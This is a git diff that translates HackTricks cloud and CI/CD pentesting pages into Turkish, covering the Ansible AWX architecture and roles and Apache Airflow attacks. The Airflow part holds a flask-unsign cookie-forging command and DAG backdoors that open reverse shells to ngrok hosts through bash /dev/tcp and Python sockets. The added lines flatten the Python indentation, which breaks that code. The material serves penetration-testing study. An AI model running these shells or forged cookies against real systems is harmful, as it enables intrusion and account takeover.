diff --git a/src/README.md b/src/README.md
index 01b146fd1..3c65802f9 100644
--- a/src/README.md
+++ b/src/README.md
@@ -6,26 +6,26 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_Hacktricks logoları & hareket tasarımı_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından yapılmıştır._
> [!TIP]
-> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
+> **CTF'lerde**, **gerçek** yaşam **ortamlarında**, **araştırma** yaparak ve **araştırmaları** ve haberleri okuyarak öğrendiğim her **hacking trick/technique/whatever related to CI/CD & Cloud**'ı bulacağınız sayfaya hoş geldiniz.
### **Pentesting CI/CD Methodology**
-**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
+**HackTricks CI/CD Methodolojisinde, CI/CD faaliyetleriyle ilgili altyapıyı nasıl pentest edeceğinizi bulacaksınız.** Bir **giriş** için aşağıdaki sayfayı okuyun:
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
-**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
+**HackTricks Cloud Methodolojisinde, bulut ortamlarını nasıl pentest edeceğinizi bulacaksınız.** Bir **giriş** için aşağıdaki sayfayı okuyun:
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
-**Check them in:**
+**Onları kontrol edin:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
@@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co

{{#include ./banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index feae5163c..1b1d60c58 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -505,3 +505,5 @@
+
+
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b684cee3d..f385db91a 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,17 +1,13 @@
> [!TIP]
-> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+> GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
>
>
>
-> Support HackTricks
+> HackTricks'i Destekleyin
>
-> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
+> - **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
+> - **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
>
>
-
-
-
-
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index d3fbf19e5..cdc25edc9 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -2,62 +2,61 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
+**Ansible Tower** veya açık kaynak versiyonu [**AWX**](https://github.com/ansible/awx), **Ansible’ın kullanıcı arayüzü, kontrol paneli ve REST API'si** olarak da bilinir. **Rol tabanlı erişim kontrolü**, iş zamanlaması ve grafik envanter yönetimi ile Ansible altyapınızı modern bir UI'dan yönetebilirsiniz. Tower’ın REST API'si ve komut satırı arayüzü, mevcut araçlar ve iş akışlarıyla entegrasyonu basit hale getirir.
-**Automation Controller is a newer** version of Ansible Tower with more capabilities.
+**Automation Controller, Ansible Tower'ın daha fazla yeteneğe sahip** daha yeni bir versiyonudur.
-### Differences
+### Farklar
-According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
+[**Bu**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) kaynağına göre, Ansible Tower ile AWX arasındaki ana fark, alınan destek ve Ansible Tower'ın rol tabanlı erişim kontrolü, özel API'ler için destek ve kullanıcı tanımlı iş akışları gibi ek özelliklere sahip olmasıdır.
-### Tech Stack
+### Teknoloji Yığını
-- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
-- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
-- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
-- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
-- **Redis**: Redis serves as a cache and a backend for the task queue.
+- **Web Arayüzü**: Kullanıcıların envanterleri, kimlik bilgilerini, şablonları ve işleri yönetebileceği grafik arayüzdür. Anlayışınızı kolaylaştırmak için görselleştirmeler sunarak sezgisel olacak şekilde tasarlanmıştır.
+- **REST API**: Web arayüzünde yapabileceğiniz her şeyi REST API aracılığıyla da yapabilirsiniz. Bu, AWX/Tower'ı diğer sistemlerle entegre etmenizi veya arayüzde genellikle gerçekleştireceğiniz eylemleri betik haline getirmenizi sağlar.
+- **Veritabanı**: AWX/Tower, yapılandırmasını, iş sonuçlarını ve diğer gerekli operasyonel verileri depolamak için bir veritabanı (genellikle PostgreSQL) kullanır.
+- **RabbitMQ**: Bu, AWX/Tower'ın farklı bileşenler arasında, özellikle web hizmeti ile görev çalıştırıcıları arasında iletişim kurmak için kullandığı mesajlaşma sistemidir.
+- **Redis**: Redis, görev kuyruğu için bir önbellek ve arka uç olarak hizmet eder.
-### Logical Components
+### Mantıksal Bileşenler
-- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
-- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
-- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
-- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
-- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
-- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
-- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
-- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
+- **Envanterler**: Envanter, **işlerin** (Ansible playbook'ları) **çalıştırılabileceği** **hostlar (veya düğümler)** koleksiyonudur. AWX/Tower, envanterlerinizi tanımlamanıza ve gruplamanıza olanak tanır ve ayrıca AWS, Azure gibi diğer sistemlerden **host listelerini alabilen** dinamik envanterleri destekler.
+- **Projeler**: Bir proje, esasen bir **versiyon kontrol sistemi** (Git gibi) kaynaklı **Ansible playbook'ları** koleksiyonudur; ihtiyaç duyulduğunda en son playbook'ları çekmek için kullanılır.
+- **Şablonlar**: İş şablonları, **belirli bir playbook'un nasıl çalıştırılacağını** tanımlar, **envanter**, **kimlik bilgileri** ve iş için diğer **parametreleri** belirtir.
+- **Kimlik Bilgileri**: AWX/Tower, **SSH anahtarları, şifreler ve API jetonları** gibi gizli bilgileri **yönetmek ve depolamak için güvenli bir yol** sağlar. Bu kimlik bilgileri, playbook'ların çalıştığında gerekli erişime sahip olabilmesi için iş şablonlarıyla ilişkilendirilebilir.
+- **Görev Motoru**: Burası sihrin gerçekleştiği yerdir. Görev motoru, Ansible üzerine inşa edilmiştir ve **playbook'ları çalıştırmaktan** sorumludur. İşler, belirtilen envanter üzerinde belirtilen kimlik bilgileri kullanılarak Ansible playbook'larını çalıştıran görev motoruna yönlendirilir.
+- **Zamanlayıcılar ve Geri Aramalar**: Bunlar, AWX/Tower'da **işlerin belirli zamanlarda çalıştırılmasını** veya dış olaylar tarafından tetiklenmesini sağlayan gelişmiş özelliklerdir.
+- **Bildirimler**: AWX/Tower, işlerin başarı veya başarısızlığına dayalı bildirimler gönderebilir. E-postalar, Slack mesajları, web kancaları gibi çeşitli bildirim yöntemlerini destekler.
+- **Ansible Playbook'ları**: Ansible playbook'ları, yapılandırma, dağıtım ve orkestrasyon araçlarıdır. Sistemlerin istenen durumunu otomatik, tekrarlanabilir bir şekilde tanımlar. YAML ile yazılmıştır ve playbook'lar, yapılandırmaları, görevleri ve yürütülmesi gereken adımları tanımlamak için Ansible'ın deklaratif otomasyon dilini kullanır.
-### Job Execution Flow
+### İş Yürütme Akışı
-1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
-2. **Job Initiation**:
- - The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
-3. **Job Queuing**:
- - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
-4. **Job Execution**:
- - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
-5. **Job Results**:
- - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- - Users can then view the results through the Web Interface or query them via the REST API.
- - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
-6. **External Systems Integration**:
- - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
+1. **Kullanıcı Etkileşimi**: Bir kullanıcı, AWX/Tower ile **Web Arayüzü** veya **REST API** aracılığıyla etkileşimde bulunabilir. Bu, AWX/Tower tarafından sunulan tüm işlevselliklere ön uç erişimi sağlar.
+2. **İş Başlatma**:
+- Kullanıcı, Web Arayüzü veya API aracılığıyla bir **İş Şablonu** temelinde bir iş başlatır.
+- İş Şablonu, **Envanter**, **Proje** (playbook'u içeren) ve **Kimlik Bilgileri** referanslarını içerir.
+- İş başlatıldığında, işin yürütülmesi için AWX/Tower arka ucuna bir istek gönderilir.
+3. **İş Kuyruğa Alma**:
+- **RabbitMQ**, web bileşeni ile görev çalıştırıcıları arasındaki mesajlaşmayı yönetir. Bir iş başlatıldığında, RabbitMQ kullanılarak görev motoruna bir mesaj gönderilir.
+- **Redis**, yürütülmeyi bekleyen kuyrukta bekleyen işleri yöneten görev kuyruğu için arka uç olarak hizmet eder.
+4. **İşin Yürütülmesi**:
+- **Görev Motoru**, kuyrukta bekleyen işi alır. İlgili **Veritabanı**'ndan işin ilişkili playbook'u, envanteri ve kimlik bilgileri hakkında gerekli bilgileri alır.
+- İlgili **Proje**'den alınan Ansible playbook'unu kullanarak, Görev Motoru belirtilen **Envanter** düğümleri üzerinde sağlanan **Kimlik Bilgileri** ile playbook'u çalıştırır.
+- Playbook çalışırken, yürütme çıktısı (loglar, bilgiler vb.) **Veritabanı**'na kaydedilir.
+5. **İş Sonuçları**:
+- Playbook çalışmayı bitirdiğinde, sonuçlar (başarı, başarısızlık, loglar) **Veritabanı**'na kaydedilir.
+- Kullanıcılar, sonuçları Web Arayüzü aracılığıyla görüntüleyebilir veya REST API aracılığıyla sorgulayabilir.
+- İş sonuçlarına bağlı olarak, **Bildirimler** kullanıcıları veya dış sistemleri işin durumu hakkında bilgilendirmek için gönderilebilir. Bildirimler e-postalar, Slack mesajları, web kancaları vb. olabilir.
+6. **Dış Sistem Entegrasyonu**:
+- **Envanterler**, dış sistemlerden dinamik olarak kaynaklanabilir, bu da AWX/Tower'ın AWS, Azure, VMware gibi kaynaklardan hostları çekmesine olanak tanır.
+- **Projeler** (playbook'lar), versiyon kontrol sistemlerinden alınabilir, böylece iş yürütme sırasında güncel playbook'ların kullanılması sağlanır.
+- **Zamanlayıcılar ve Geri Aramalar**, diğer sistemler veya araçlarla entegrasyon için kullanılabilir, bu da AWX/Tower'ın dış tetikleyicilere yanıt vermesini veya önceden belirlenmiş zamanlarda işleri çalıştırmasını sağlar.
-### AWX lab creation for testing
-
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
+### Test için AWX laboratuvarı oluşturma
+[**Belgeleri takip ederek**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) AWX'ı çalıştırmak için docker-compose kullanmak mümkündür:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
-
## RBAC
-### Supported roles
+### Desteklenen roller
-The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
+En yetkili rol **Sistem Yöneticisi** olarak adlandırılır. Bu role sahip olan herkes **her şeyi değiştirebilir**.
-From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
+Bir **beyaz kutu güvenliği** incelemesi için, **Sistem Denetçisi rolüne** ihtiyacınız olacak, bu rol **tüm sistem verilerini görüntülemenizi** sağlar ancak herhangi bir değişiklik yapmanıza izin vermez. Diğer bir seçenek **Organizasyon Denetçisi rolünü** almak olacaktır, ancak diğerini almak daha iyi olur.
-Expand this to get detailed description of available roles
+Mevcut rollerin ayrıntılı açıklamasını almak için genişletin
-1. **System Administrator**:
- - This is the superuser role with permissions to access and modify any resource in the system.
- - They can manage all organizations, teams, projects, inventories, job templates, etc.
-2. **System Auditor**:
- - Users with this role can view all system data but cannot make any changes.
- - This role is designed for compliance and oversight.
-3. **Organization Roles**:
- - **Admin**: Full control over the organization's resources.
- - **Auditor**: View-only access to the organization's resources.
- - **Member**: Basic membership in an organization without any specific permissions.
- - **Execute**: Can run job templates within the organization.
- - **Read**: Can view the organization’s resources.
-4. **Project Roles**:
- - **Admin**: Can manage and modify the project.
- - **Use**: Can use the project in a job template.
- - **Update**: Can update project using SCM (source control).
-5. **Inventory Roles**:
- - **Admin**: Can manage and modify the inventory.
- - **Ad Hoc**: Can run ad hoc commands on the inventory.
- - **Update**: Can update the inventory source.
- - **Use**: Can use the inventory in a job template.
- - **Read**: View-only access.
-6. **Job Template Roles**:
- - **Admin**: Can manage and modify the job template.
- - **Execute**: Can run the job.
- - **Read**: View-only access.
-7. **Credential Roles**:
- - **Admin**: Can manage and modify the credentials.
- - **Use**: Can use the credentials in job templates or other relevant resources.
- - **Read**: View-only access.
-8. **Team Roles**:
- - **Member**: Part of the team but without any specific permissions.
- - **Admin**: Can manage the team's members and associated resources.
-9. **Workflow Roles**:
- - **Admin**: Can manage and modify the workflow.
- - **Execute**: Can run the workflow.
- - **Read**: View-only access.
+1. **Sistem Yöneticisi**:
+- Bu, sistemdeki herhangi bir kaynağa erişim ve değiştirme izinlerine sahip süper kullanıcı rolüdür.
+- Tüm organizasyonları, takımları, projeleri, envanterleri, iş şablonlarını vb. yönetebilirler.
+2. **Sistem Denetçisi**:
+- Bu role sahip kullanıcılar tüm sistem verilerini görüntüleyebilir ancak herhangi bir değişiklik yapamazlar.
+- Bu rol, uyum ve denetim için tasarlanmıştır.
+3. **Organizasyon Rolleri**:
+- **Admin**: Organizasyonun kaynakları üzerinde tam kontrol.
+- **Denetçi**: Organizasyonun kaynaklarına yalnızca görüntüleme erişimi.
+- **Üye**: Belirli izinleri olmayan bir organizasyonda temel üyelik.
+- **Çalıştır**: Organizasyon içinde iş şablonlarını çalıştırabilir.
+- **Oku**: Organizasyonun kaynaklarını görüntüleyebilir.
+4. **Proje Rolleri**:
+- **Admin**: Projeyi yönetebilir ve değiştirebilir.
+- **Kullan**: Projeyi bir iş şablonunda kullanabilir.
+- **Güncelle**: SCM (kaynak kontrolü) kullanarak projeyi güncelleyebilir.
+5. **Envanter Rolleri**:
+- **Admin**: Envanteri yönetebilir ve değiştirebilir.
+- **Ad Hoc**: Envanter üzerinde ad hoc komutları çalıştırabilir.
+- **Güncelle**: Envanter kaynağını güncelleyebilir.
+- **Kullan**: Envanteri bir iş şablonunda kullanabilir.
+- **Oku**: Yalnızca görüntüleme erişimi.
+6. **İş Şablonu Rolleri**:
+- **Admin**: İş şablonunu yönetebilir ve değiştirebilir.
+- **Çalıştır**: İşi çalıştırabilir.
+- **Oku**: Yalnızca görüntüleme erişimi.
+7. **Kimlik Bilgisi Rolleri**:
+- **Admin**: Kimlik bilgilerini yönetebilir ve değiştirebilir.
+- **Kullan**: Kimlik bilgilerini iş şablonlarında veya diğer ilgili kaynaklarda kullanabilir.
+- **Oku**: Yalnızca görüntüleme erişimi.
+8. **Takım Rolleri**:
+- **Üye**: Takımın bir parçası ancak belirli izinleri yok.
+- **Admin**: Takımın üyelerini ve ilgili kaynakları yönetebilir.
+9. **İş Akışı Rolleri**:
+- **Admin**: İş akışını yönetebilir ve değiştirebilir.
+- **Çalıştır**: İş akışını çalıştırabilir.
+- **Oku**: Yalnızca görüntüleme erişimi.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index aac46128c..f93780083 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -1,23 +1,22 @@
-# Apache Airflow Security
+# Apache Airflow Güvenliği
{{#include ../../banners/hacktricks-training.md}}
-### Basic Information
+### Temel Bilgiler
-[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
+[**Apache Airflow**](https://airflow.apache.org), **veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform** olarak hizmet eder. Veri boru hatları bağlamında "orchestrasyon" terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarını düzenleme, koordine etme ve yönetme sürecini ifade eder. Bu düzenlenmiş veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri setleri sağlamaktır. Bu veri setleri, iş zekası araçları, veri bilimi ve makine öğrenimi modelleri gibi çok sayıda uygulama tarafından yaygın olarak kullanılmaktadır; bunların hepsi büyük veri uygulamalarının işleyişi için temeldir.
-Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
+Temelde, Apache Airflow, **bir şey olduğunda kodun çalıştırılmasını zamanlamanıza olanak tanır** (olay, cron).
-### Local Lab
+### Yerel Laboratuvar
#### Docker-Compose
-You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
+Tam bir apache airflow docker ortamı başlatmak için **docker-compose yapılandırma dosyasını** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) adresinden kullanabilirsiniz. (Eğer MacOS kullanıyorsanız, docker VM'ye en az 6GB RAM vermeyi unutmayın).
#### Minikube
-One easy way to **run apache airflo**w is to run it **with minikube**:
-
+**Apache Airflow'u çalıştırmanın** kolay bir yolu, **minikube ile çalıştırmaktır**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
+### Airflow Yapılandırması
-### Airflow Configuration
-
-Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
+Airflow, yapılandırmasında **hassas bilgileri** saklayabilir veya zayıf yapılandırmalar bulabilirsiniz:
{{#ref}}
airflow-configuration.md
@@ -38,65 +36,62 @@ airflow-configuration.md
### Airflow RBAC
-Before start attacking Airflow you should understand **how permissions work**:
+Airflow'a saldırmaya başlamadan önce **izinlerin nasıl çalıştığını** anlamalısınız:
{{#ref}}
airflow-rbac.md
{{#endref}}
-### Attacks
+### Saldırılar
-#### Web Console Enumeration
+#### Web Konsolu Sayım
-If you have **access to the web console** you might be able to access some or all of the following information:
+Eğer **web konsoluna erişiminiz** varsa, aşağıdaki bilgilerden bazılarına veya hepsine erişim sağlayabilirsiniz:
-- **Variables** (Custom sensitive information might be stored here)
-- **Connections** (Custom sensitive information might be stored here)
- - Access them in `http:///connection/list/`
-- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
-- List **users & roles**
-- **Code of each DAG** (which might contain interesting info)
+- **Değişkenler** (Özel hassas bilgiler burada saklanabilir)
+- **Bağlantılar** (Özel hassas bilgiler burada saklanabilir)
+- `http:///connection/list/` adresinden erişin
+- [**Yapılandırma**](./#airflow-configuration) (Hassas bilgiler, örneğin **`secret_key`** ve şifreler burada saklanabilir)
+- **kullanıcılar ve roller** listesini görüntüleyin
+- **Her DAG'ın kodu** (ilginç bilgiler içerebilir)
-#### Retrieve Variables Values
+#### Değişken Değerlerini Alma
-Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\
-Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
+Değişkenler Airflow'da saklanabilir, böylece **DAG'lar** değerlerine **erişebilir**. Bu, diğer platformların gizli bilgilerine benzer. Eğer **yeterli izinleriniz** varsa, bunlara `http:///variable/list/` adresinde GUI üzerinden erişebilirsiniz.\
+Airflow varsayılan olarak değişkenin değerini GUI'de gösterir, ancak [**şuna**](https://marclamberti.com/blog/variables-with-apache-airflow/) göre, **değerinin** **yıldızlar** olarak görüneceği **değişkenler listesi** ayarlamak mümkündür.
.png>)
-However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
-To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
-Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
+Ancak, bu **değerler** hala **CLI** üzerinden (DB erişiminiz olmalı), **rastgele DAG** çalıştırarak, **API** ile değişkenler uç noktasına erişerek (API'nin etkinleştirilmesi gerekir) ve **hatta GUI'nin kendisi aracılığıyla** **alınabilir!**\
+Bu değerleri GUI'den erişmek için sadece **erişmek istediğiniz değişkenleri** seçin ve **Eylemler -> Dışa Aktar** seçeneğine tıklayın.\
+Başka bir yol, **gizli değere** ulaşmak için **arama filtrelemesi** kullanarak **bruteforce** yapmaktır:
.png>)
-#### Privilege Escalation
-
-If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
+#### Yetki Yükseltme
+Eğer **`expose_config`** yapılandırması **True** olarak ayarlandıysa, **Kullanıcı** rolünden ve **üstündeki** roller **web'deki yapılandırmayı okuyabilir**. Bu yapılandırmada, **`secret_key`** görünür, bu da bu geçerli anahtara sahip herhangi bir kullanıcının **kendi imzalı çerezini oluşturup başka bir kullanıcı hesabını taklit edebileceği** anlamına gelir.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
+#### DAG Arka Kapı (Airflow işçi içinde RCE)
-#### DAG Backdoor (RCE in Airflow worker)
-
-If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
-Note that this reverse shell is going to be executed inside an **airflow worker container**:
-
+Eğer **DAG'ların kaydedildiği** yere **yazma erişiminiz** varsa, sadece **bir tane oluşturabilirsiniz** ve bu size bir **ters kabuk** gönderecektir.\
+Bu ters kabuğun bir **airflow işçi konteyneri** içinde çalıştırılacağını unutmayın:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
- dag_id='rev_shell_bash',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_bash',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = BashOperator(
- task_id='run',
- bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
- )
+run = BashOperator(
+task_id='run',
+bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
+)
```
```python
@@ -105,75 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
with DAG(
- dag_id='rev_shell_python',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python',
- python_callable=rs,
- op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
- )
+run = PythonOperator(
+task_id='rs_python',
+python_callable=rs,
+op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
+)
```
+#### DAG Arka Kapı (Airflow zamanlayıcısında RCE)
-#### DAG Backdoor (RCE in Airflow scheduler)
-
-If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
-
+Eğer bir şeyi **kodun kökünde çalıştırılacak şekilde ayarlarsanız**, bu yazının yazıldığı anda, **zamanlayıcı tarafından** DAG klasörüne yerleştirildikten birkaç saniye sonra **çalıştırılacaktır**.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
- dag_id='rev_shell_python2',
- schedule_interval='0 0 * * *',
